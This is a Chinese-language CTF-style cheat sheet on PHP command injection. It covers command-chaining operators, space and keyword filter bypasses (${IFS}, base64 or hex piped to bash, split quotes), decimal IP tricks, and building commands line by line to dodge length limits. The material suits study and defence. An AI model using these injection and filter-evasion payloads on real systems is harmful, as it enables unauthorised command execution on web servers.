php调用外部程序常用的函数:
system()—执行shell命令也就是向dos发送一条指令。
shell_exec() — 通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。
exec() —执行外部程序。
passthru() — 执行外部程序并且显示原始输出。

绕过技巧:

常见管道符

‘|’ 直接执行后面的语句
‘||’ 如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句
‘&’ 前面和后面命令都要执行,无论前面真假
&&如果前面为假,后面的命令也不执行,如果前面为真则执行两条命令
Linux:
Linux系统包含了windows系统上面四个之外,还多了一个 ‘;’ 这个作用和 ‘&’ 作用相同

空格绕过(空格被过滤

<  --  重定向,如cat<flag.php
<>      --   重定向,如cat<>flag.php
%09  --  需要php环境,如cat%09flag.php
${IFS}  --  单纯cat$IFS2,IFS2被bash解释器当做变量名,输不出来结果,加一个{}就固定了变量名,如cat${IFS2}flag.php
$IFS$9  --  后面加个$与{}类似,起截断作用,$9是当前系统shell进程第九个参数持有者,始终为空字符串,如cat$IFS2$9flag.php

黑名单绕过

拼接

a=c;b=at;c=flag;$a$b $c
a=c;b=at;c=heb;d=ic;ab{c}{d}

base64编码

echo MTIzCg==|base64 -d 其将会打印123
echo "Y2F0IC9mbGFn"|base64-d|bash ==>cat /flag

hex编码

echo "636174202f666c6167" | xxd -r -p|bash ==>cat /flag

单引号和双引号绕过

ca''t flag 或ca""t flag
ca''t te""st.php

反斜杠绕过

ca\t fl\ag
cat te\st.php

绕过ip中的句点

网络地址可以转换成数字地址,比如127.0.0.1可以转化为2130706433。
可以直接访问http://2130706433或者http://0x7F000001,这样就可以绕过.的ip过滤。
在线转换地址:数字转IP地址 IP地址转数字 域名转数字IP

绕过长度限制

通过>来创建文件

>flag.txt

通过>将命令结果存入文件中

echo "hello hacker" > flag.txt

>>符号的作用是将字符串添加到文件内容末尾,不会覆盖原内容

echo "hello hacker" >> flag.txt

Linux中命令换行

在Linux中,当我们执行文件中的命令的时候,我们通过在没有写完的命令后面加\,可以将一条命令写在多行。
比如:cat flag

ca\
t\
 fla\
g.txt
将命令一条一条输入一个文本中再执行:
root@kali:~# echo "ca\\">cmd
root@kali:~# echo "t\\">>cmd
root@kali:~# echo " fl\\">>cmd
root@kali:~# echo "ag">>cmd
root@kali:~# cat cmd
ca\
t\
 fl\
ag
root@kali:~# sh cmd
this is your flag

ls命令

ls -a 列出文件下所有的文件,包括以“.“开头的隐藏文件(linux下文件隐藏文件是以.开头的,如果存在..代表存在着父目录)。
ls -l 列出文件的详细信息,如创建者,创建时间,文件的读写权限列表等等。
ls -F 在每一个文件的末尾加上一个字符说明该文件的类型。"@"表示符号链接、"|"表示FIFOS、"/"表示目录、"="表示套接字。
ls -s 在每个文件的后面打印出文件的大小。 size(大小)
ls -t 按时间进行文件的排序 Time(时间)
ls -A 列出除了"."和".."以外的文件。
ls -R 将目录下所有的子目录的文件都列出来,相当于我们编程中的“递归”实现
ls -L 列出文件的链接名。Link(链接)
ls -S 以文件的大小进行排序

各种读文件命令

cat--由第一行开始显示内容,并将所有内容输出
tac--从最后一行倒序显示内容,并将所有内容输出
more-- 根据窗口大小,一页一页的现实文件内容
less 和more类似,但其优点可以往前翻页,而且进行可以搜索字符
head-- 只显示头几行
tail --只显示最后几行
nl --类似于cat -n,显示时输出行号
tailf-- 类似于tail -f
vim --使用vim工具打开文本
vi --使用vi打开文本cat 由第一行开始显示内容,并将所有内容输出